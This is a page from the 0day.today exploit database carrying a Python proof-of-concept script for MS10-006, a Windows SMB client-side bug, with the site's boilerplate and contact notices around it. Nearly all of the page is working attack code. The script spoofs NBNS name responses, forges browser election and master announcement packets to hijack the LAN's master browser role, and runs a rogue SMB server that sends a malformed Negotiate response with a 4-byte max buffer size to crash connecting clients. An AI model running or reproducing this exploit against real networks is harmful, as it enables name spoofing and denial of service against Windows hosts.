0day.today - Biggest Exploit Database in the World.

Select your language:

Things you should know about 0day.today:

We use one main domain: http://0day.today
Most of the materials is completely FREE
If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD

We accept currencies: [contact admin to find more]

We don't want you to use our site as a tool for hacking purposes, so any kind of action that could affect illegaly other users or websites that you don't have right to access will be banned and your account including your data will be destroyed.

Administration of this site uses the official contacts. Beware of impostors!

We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!

I am registered user of 0day.today. I don't want to see this screen in future.

What to do first?

Read the [ agreement ]
Read the [ Submit ] rules
Visit the [ faq ] page
[ Register ] profile
Get [ GOLD ]
If you want to [ sell ]
If you want to [ buy ]
If you lost [ Account ]
Any questions [ admin@0day.today ]

Main links

You can contact us by

Mail:

mr.inj3ct0r@gmail.com

Facebook:

Inj3ct0rs

Twitter:

Inj3ct0r

Telegram:

We DO NOT use Telegram or any messengers / social networks!

[ authorization ] [ registration ] [ restore account ]

You can contact us by:

Mail:

mr.inj3ct0r@gmail.com

Facebook:

Inj3ct0rs

Twitter:

Inj3ct0r

Telegram:

We DO NOT use Telegram or any messengers / social networks!

MS10-006 SMB Client-Side Bug PoC

Author

Laurent Gaffie

Risk

[

Security Risk Unsored

]

0day-ID

Category

Date add

Platform

=================================================
Proof of Concept for MS10-006 SMB Client-Side Bug
=================================================

# More Info: http://g-laurent.blogspot.com/2010/04/turning-smb-client-bug-to-server-side.html
import sys,SocketServer,socket,threading,time,random
from random import *
from time import sleep
from socket import *
 
if len(sys.argv)<=2:
 sys.exit('Usage: pwn.py Your_ip Broadcast_ip\n\r Example: pwn.py 10.0.0.1 10.0.0.255')
 
ip = str(sys.argv[1])
nbns = str(sys.argv[2]),137
browser = str(sys.argv[2]),138
 
 
elec = "\x42\x4f\x00"
domainmasterbro = "\x42\x4c\x00"
 
##BROWSER election request
browserelect = [chr(int(a, 16)) for a in """
11 02 bd 82 c0 a8 00 96 00 8a 00 ae 00 00 20 46
47 45 4e 45 43 45 50 46 49 43 41 43 41 43 41 43
41 43 41 43 41 43 41 43 41 43 41 43 41 41 41 00
20 46 48 45 50 46 43 45 4c 45 48 46 43 45 50 46
46 46 41 43 41 43 41 43 41 43 41 43 41 43 41 42
4f 00 ff 53 4d 42 25 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 11 00 00 14 00 00 00 00 00 00 00 00 00 e8
03 00 00 00 00 00 00 00 00 14 00 56 00 03 00 01
00 01 00 02 00 25 00 5c 4d 41 49 4c 53 4c 4f 54
5c 42 52 4f 57 53 45 00 08 09 a8 0f 01 20 1b e9
a5 00 00 00 00 00 56 4d 42 4f 58 00""".split()]
 
##Local Master Announcement
browsermaster = [chr(int(a, 16)) for a in """
11 02 bd 2c c0 a8 00 96 00 8a 00 bb 00 00 20 45
4e 45 42 46 44 46 45 45 46 46 43 43 41 43 41 43
41 43 41 43 41 43 41 43 41 43 41 43 41 43 41 00
20 46 48 45 50 46 43 45 4c 45 48 46 43 45 50 46
46 46 41 43 41 43 41 43 41 43 41 43 41 43 41 42
4f 00 ff 53 4d 42 25 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 11 00 00 21 00 00 00 00 00 00 00 00 00 e8
03 00 00 00 00 00 00 00 00 21 00 56 00 03 00 01
00 00 00 02 00 32 00 5c 4d 41 49 4c 53 4c 4f 54
5c 42 52 4f 57 53 45 00 0f 00 80 fc 0a 00 4d 41
53 54 45 52 00 00 00 00 00 00 00 00 00 00 00 06
2b 10 84 00 00 0f 01 55 aa 00""".split()]
 
resetcache = [chr(int(a, 16)) for a in """
11 0a 6b a8 c0 a8 0a 66 00 8a 00 c5 00 00 20 45
4e 45 42 46 44 46 45 45 46 46 43 43 41 43 41 43
41 43 41 43 41 43 41 43 41 43 41 43 41 43 41 00
20 41 42 41 43 46 50 46 50 45 4e 46 44 45 43 46
43 45 50 46 48 46 44 45 46 46 50 46 50 41 43 41
42 00 ff 53 4d 42 25 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 11 00 00 2b 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 2b 00 56 00 03 00 01
00 01 00 02 00 3c 00 5c 4d 41 49 4c 53 4c 4f 54
5c 42 52 4f 57 53 45 00 0e 02""".split()]
 
resetlbm = [chr(int(a, 16)) for a in """
11 0a 6b a8 c0 a8 0a 66 00 8a 00 c5 00 00 20 45
4e 45 42 46 44 46 45 45 46 46 43 43 41 43 41 43
41 43 41 43 41 43 41 43 41 43 41 43 41 43 41 00
20 41 42 41 43 46 50 46 50 45 4e 46 44 45 43 46
43 45 50 46 48 46 44 45 46 46 50 46 50 41 43 41
42 00 ff 53 4d 42 25 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 11 00 00 2b 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 2b 00 56 00 03 00 01
00 01 00 02 00 3c 00 5c 4d 41 49 4c 53 4c 4f 54
5c 42 52 4f 57 53 45 00 0e 01""".split()]
 
##Browser Master annoncement
masterannon = [chr(int(a, 16)) for a in """
11 02 bd 2c c0 a8 00 96 00 8a 00 bb 00 00 20 45
4e 45 42 46 44 46 45 45 46 46 43 43 41 43 41 43
41 43 41 43 41 43 41 43 41 43 41 43 41 43 41 00
20 46 48 45 50 46 43 45 4c 45 48 46 43 45 50 46
46 46 41 43 41 43 41 43 41 43 41 43 41 43 41 42
4f 00 ff 53 4d 42 25 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 11 00 00 21 00 00 00 00 00 00 00 00 00 e8
03 00 00 00 00 00 00 00 00 21 00 56 00 03 00 01
00 00 00 02 00 32 00 5c 4d 41 49 4c 53 4c 4f 54
5c 42 52 4f 57 53 45 00 0d 4d 41 53 54 45 52 00""".split()]
 
regmsbrowse = [chr(int(a, 16)) for a in """
be 6e 29 10 00 01 00 00 00 00 00 01 20 41 42 41
43 46 50 46 50 45 4e 46 44 45 43 46 43 45 50 46
48 46 44 45 46 46 50 46 50 41 43 41 42 00 00 20
00 01 c0 0c 00 20 00 01 00 04 93 e0 00 06 80 00
c0 a8 00 96""".split()]
 
##NBNS Spoofing
spoof = [chr(int(a, 16)) for a in """
08 f3 85 80 00 00 00 01 00 00 00 00 20 46 48 45
50 46 43 45 4c 45 48 46 43 45 50 46 46 46 41 43
41 43 41 43 41 43 41 43 41 43 41 42 4e 00 00 20
00 01 00 04 93 e0 00 06 00 00""".split()]
 
def nametid(data,packet,service):
    pack = packet[:]
    pack[2:4]=data[2:4] ##Transaction ID
    pack[4:8] = inet_aton(str(sys.argv[1])) ##OurIP Addres
    pack[48:82]=data[48:79]+service ##Service/domain name
    return pack
 
def nametidrand(data,packet,service):
    pack = packet[:]
    pack[2:4]= "\x80"+str(chr(choice(range(256)))) ##Transaction ID
    pack[4:8] = inet_aton(str(sys.argv[1])) ##OurIP Addres
    pack[48:82]=data[48:79]+service ##Service/domain name
    return pack
 
def addipbrow(packet):
    pack = packet[:]
    pack[4:8] = inet_aton(str(sys.argv[1]))
    return pack
 
def addipnb(packet):
    pack = packet[:]
    pack[len(packet)-4:] = inet_aton(str(sys.argv[1]))
    return pack
 
def sockbroad(packet,host):
   s = socket(AF_INET,SOCK_DGRAM)
   s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1)
   s.sendto(packet,host)
 
class BROWSER(SocketServer.BaseRequestHandler):
      
    def server_bind(self):
       self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,SO_REUSEPORT, 1)
       self.socket.bind(self.server_address)
 
    def handle(self):
        ip = inet_aton(str(sys.argv[1]))
        request, socket = self.request
        data = request
        print "From:", self.client_address
        if data[168] == "\x01" or data[168] == "\x0f" or data[168] == "\x08" and self.client_address[0] != sys.argv[1]:
 
           sockbroad(''.join(addipbrow(resetcache)),browser)
           print "[+]LMB cache Successfully Reseted"
 
           sockbroad(''.join(addipbrow(resetlbm)),browser)
           print "[+]LMB Successfully killed"
 
           for x in range(4):
              sockbroad(''.join(nametid(data,browserelect, elec)),browser)
              sleep(0.8)
           print "[+] Election Won !\n"
 
           for x in range(4):
              sleep(0.5)
              sockbroad(''.join(addipnb(regmsbrowse)),nbns)
           print "[+]Now Register __MSBROWSE__ :] "
                   
           sockbroad(''.join(nametidrand(data,browsermaster, elec)),browser)
           sleep(1)
           sockbroad(''.join(nametidrand(data,masterannon, domainmasterbro)),browser)
           print "[+] Now LBM ! \n"
 
#NBNS SPOOF;
 
def namenbnstid(data,packet):
    pack = packet[:]
    pack[0:2]=data[0:2]##Transaction ID
    pack[12:48]=data[12:48]##Netbios name
    return pack
 
class NBNS(SocketServer.BaseRequestHandler):
      
    def server_bind(self):
       self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,SO_REUSEPORT, 1)
       self.socket.bind(self.server_address)
 
    def handle(self):
        request, socket = self.request
        data = request
        print "From:", self.client_address
        #Hijack
        if data[2:4] == "\x01\x10":   
           buffer0 = ''.join(namenbnstid(data,spoof))+inet_aton(str(sys.argv[1]))
           socket.sendto(buffer0, self.client_address)
           print "Fake NBNS Response sended\n"
 
packetnego = (
##SMB Header
"\x00\x00\x00\x7f"                   #Netbios length
"\xff\x53\x4d\x42"                   #Server type
"\x72"                               #Operation/Command
"\x00\x00\x00\x00"                   #Statut command OK Success
"\x98"                               #Flag 0x98
"\x53\xc8"                           #Flag 0xc853
"\x00\x00"                           #PID High
"\x00\x00\x00\x00\x00\x00\x00\x00"   #Signature
"\x00\x00"                           #Reserved
"\x00\x00"                           #Tree ID
"\xff\xfe"                           #Process ID
"\x00\x00"                           #User ID
"\x00\x00"                           #Multiplex ID
##SMB Header end
 
##Negotiate Protocol
"\x11"                               #Word count
"\x05\x00"                           #Choosen dialect, no-5 from client list
"\x03"                               #Security mode
"\x41\x41"                           #Max MPX count
"\x41\x41"                           #Max VCs
##Issue
"\x03\x00\x00\x00"                   #Max buffer size; The issue is located here, as we specify an only 4 bytes max buffer length is this example.
#Usually a server would provide a 4356 max buffer size.
"\x41\x41\x41\x41"                   #Max raw buffer
"\x00\x00\x00\x00"                   #Session key
"\xfc\xe3\x01\x80"                   #Capabilities
"\xea\xb1\x6e\x18\x11\x62\xca\x01"   #System Time
"\x2c\x01"                           #Server timezone
"\x00"                               #Key length
"\x3a\x00"                           #Byte count
#Server GUID
"\x68\x52\x38\x38\xf2\xe3\x9f\x4f\x94\x26\xbd\xcb\xca\x2e\x28\x9a"  
#Security Blob
"\x60\x28\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x1e\x30\x1c\xa0\x1a"
"\x30\x18\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x1e\x06\x0a"
"\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"
##Negotiate Protocol end
)
 
class MS10_006(SocketServer.BaseRequestHandler):
 
    def server_bind(self):
       self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,SO_REUSEPORT, 1)
       self.socket.bind(self.server_address)
 
    def handle(self): 
        print "From:", self.client_address
        data = self.request.recv(256)
        if data[0] == "\x81":
           buffer0 = "\x82\x00\x00\x00"        
           self.request.send(buffer0)
           print "Session Positive Response sended\n"
           data = self.request.recv(1024)
        if data[8] == "\x72":    
           self.request.send(packetnego)
           print "Negotiate Response sended kaboom !\n"
           data = self.request.recv(1024)
 
 
def serve_thread_udp(host, port, handler):
    server = SocketServer.UDPServer((host, port), handler)
    server.serve_forever()
 
def serve_thread_tcp(host, port, handler):
    server = SocketServer.TCPServer((host, port), handler)
    server.serve_forever()
 
SocketServer.TCPServer.allow_reuse_address = 1
threading.Thread(target=serve_thread_tcp,args=('', 139,MS10_006)).start()
threading.Thread(target=serve_thread_tcp,args=('', 445,MS10_006)).start()
threading.Thread(target=serve_thread_udp,args=('', 137,NBNS)).start()
threading.Thread(target=serve_thread_udp,args=('', 138,BROWSER)).start()



#  0day.today [2024-11-16]  #

We DO NOT use Telegram or any messengers / social networks!

Please, beware of scammers!

MS10-006 SMB Client-Side Bug PoC

Report Error

Report Error